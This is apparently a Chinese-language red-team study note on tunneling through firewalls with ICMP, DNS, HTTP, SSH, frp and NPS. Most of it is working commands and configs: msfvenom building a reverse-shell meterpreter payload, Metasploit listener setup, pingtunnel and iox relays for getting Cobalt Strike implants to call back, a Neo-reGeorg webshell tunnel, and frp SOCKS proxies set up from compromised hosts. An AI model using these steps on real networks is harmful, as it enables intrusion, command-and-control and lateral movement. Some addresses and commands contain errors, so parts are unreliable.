隧道技术

常见的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道 ,ICMP隧道
传输层:TCP 隧道,UDP 隧道,常规端口转发
应用层:SSH 隧道,HTPP/S 隧道, DNS 隧道

协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
… …………

ICMP

工具:
https://github.com/esrrhs/pingtunnel
IMCP 通过 PING 命令访问远程计算机,建立ICMP隧道将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而传过防火请,防火请一般不会屏蔽PING数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
使用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookuo ping 等命令
CS上线:

1
2
3
4
5
服务端:
./pingtunnel -type server
客户端:
将本地的TCP端口6666流量转发到192.168.139.141:7777上面(TCP流量封装icmp转发的)
pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

监听:
127.0.0.1 6666(后门生成)
192.168.139.141 7777 (监听上线)

MSF:

1
2
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -omsf.exe

监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run

DNS

应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
域名设置如下:
一条A记录指向CS的IP地址
vpn.test.site => CS的IP地址
几条NS记录指向刚刚A记录对应的域名(也可以只写一条)

随便一台电脑上ping绑定的域名 ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。

CS:
官网的用法:

写入NS的记录

1
2
checkin
mode dns-txt

SMB

SMB一般在防火墙入站默认开启的,判断目标端口是否开放
使用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

端口转发穿透内网

https://github.com/esrrhs/pingtunnel
https://github.com/EddieIvan01/iox
1,Pingtunnel配合iox代理Socks内网穿透(防火墙只让ICMP出)
2,dnscat2(DNS)配合上线(防火墙只让DNS出)
注意:在实战中碰到此情况,说明此电脑的用处不大基本那些weshell就到此结束了。
C2:
接收客户端传递的ICMP

1
./pingtunnel -type server -noprint 1 -nolog 1 -key 0000000

将本地4433转到5566端口

1
./iox proxy -l 4455 -l 5566

Web
将本地2222的TCP封装ICMP给193.168.139.141:4455

1
pingtunnel -type client l 127.0.0.1 -s 192.168.139.141 -t 193.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000

建立Socks节点绑定3389端口:

1
iox.exe proxy -r 127.0.0.1:2222

HTTP

https://github.com/L-codes/Neo-reGeorg
设置密码生成隧道。(aspx|ashx|jsp|jspx|php)并上传到WEB服务器

1
python neoreg.py generate -k password

使用neoreg.py连接WEB服务器,在本地建立socks5代理

1
2
3
4
5
6
7
python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
Log Level set to [DEBUG]
Starting socks server [127.0.0.1:1080]
Tunnel at:
http://xx/tunnel.php
+------------------------------------------------------------------------+

其他工具:
哥斯拉,冰蝎

ssh

使用场景:内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透
条件:
被控主机需要支持SSH协议(Windwos需要安装支持软件)
将2.22主机上80端口流量转发到xx.xx上的1234端口

1
2
ssh -cfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx
curl http://127.0.0.1:1234

frp穿透

https://github.com/fatedier/frp/releases/tag/v0.62.1
在公网主机上修改frps.toml,设置bindPortfrp客户端的连接:

1
2
# frps.toml
bindPort = 7000

启动

1
./frps -c ./frps.toml

尝试将远程服务器的6666 转到 127.0.0.1 5555 采用tcp协议
攻击机frpc.toml修改,将serverAddr字段设置为的frps服务器的公网IP地址:

1
2
3
4
5
6
7
8
9
10
# frpc.toml
serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5555
remotePort = 6000

启动

1
./frpc -c ./frpc.toml

如何利用这种情况实现c2上线
监听器1:47.23.291.34 6666端口
监听器2:192.168.139.141 5555端口
生成后门用监听器1
后门->47.23.291.34:6666->frp 192.168.139.141:5555->监听器2->正常上线

信息收集:
1,建立socks节点做信息收集
对方内网主机frpc.ini配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = xx.xx.xx.xx 公网服务器IP地址
server_port = 7000
tls_enable = true
pool_count = 5

[plugin_socks]
type = tcp
remote_port = 6000 #将远程服务端的6000端口成为socks代理
plugin = socks5
plugin_user = admin
plugin_passwd = admin@123
use_encryption = true
use_compression = ture

公网服务端frps.ini配置

1
2
3
4
5
6
7
8
9
10
bind_port = 7000
# login
dashboard_port = 7500 #web面板
dashboard_user = admin
dashboard_pwd = admin@123
log_frp = /var/log/frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
max_pool_count = 50

本地在使用proxifier配置公网的ip为socks代理,端口为6000
实战场景:拿到webshell但是上线不了cs(出入站的阻止),要对主机的内部网络进行信息收集打点,无法采用cs上面的socks节点去操作 上传至控制机器 frpc 创建socks节点
条件:出站没有限制

2,端口映射转发做信息收集
条件:入站没有限制
尝试将远程服务端的8888转发映射到192.168.2.22 80
被控制机frpc.ini配置:

1
2
3
4
5
6
7
8
9
serverAddr = "xx.xx.xx.xx"  #公网服务器
serverPort = 7000

[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "192.168.2.22"
localPort = 80
remotePort = 8888

NPS穿透

一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
https://github.com/ehang-io/nps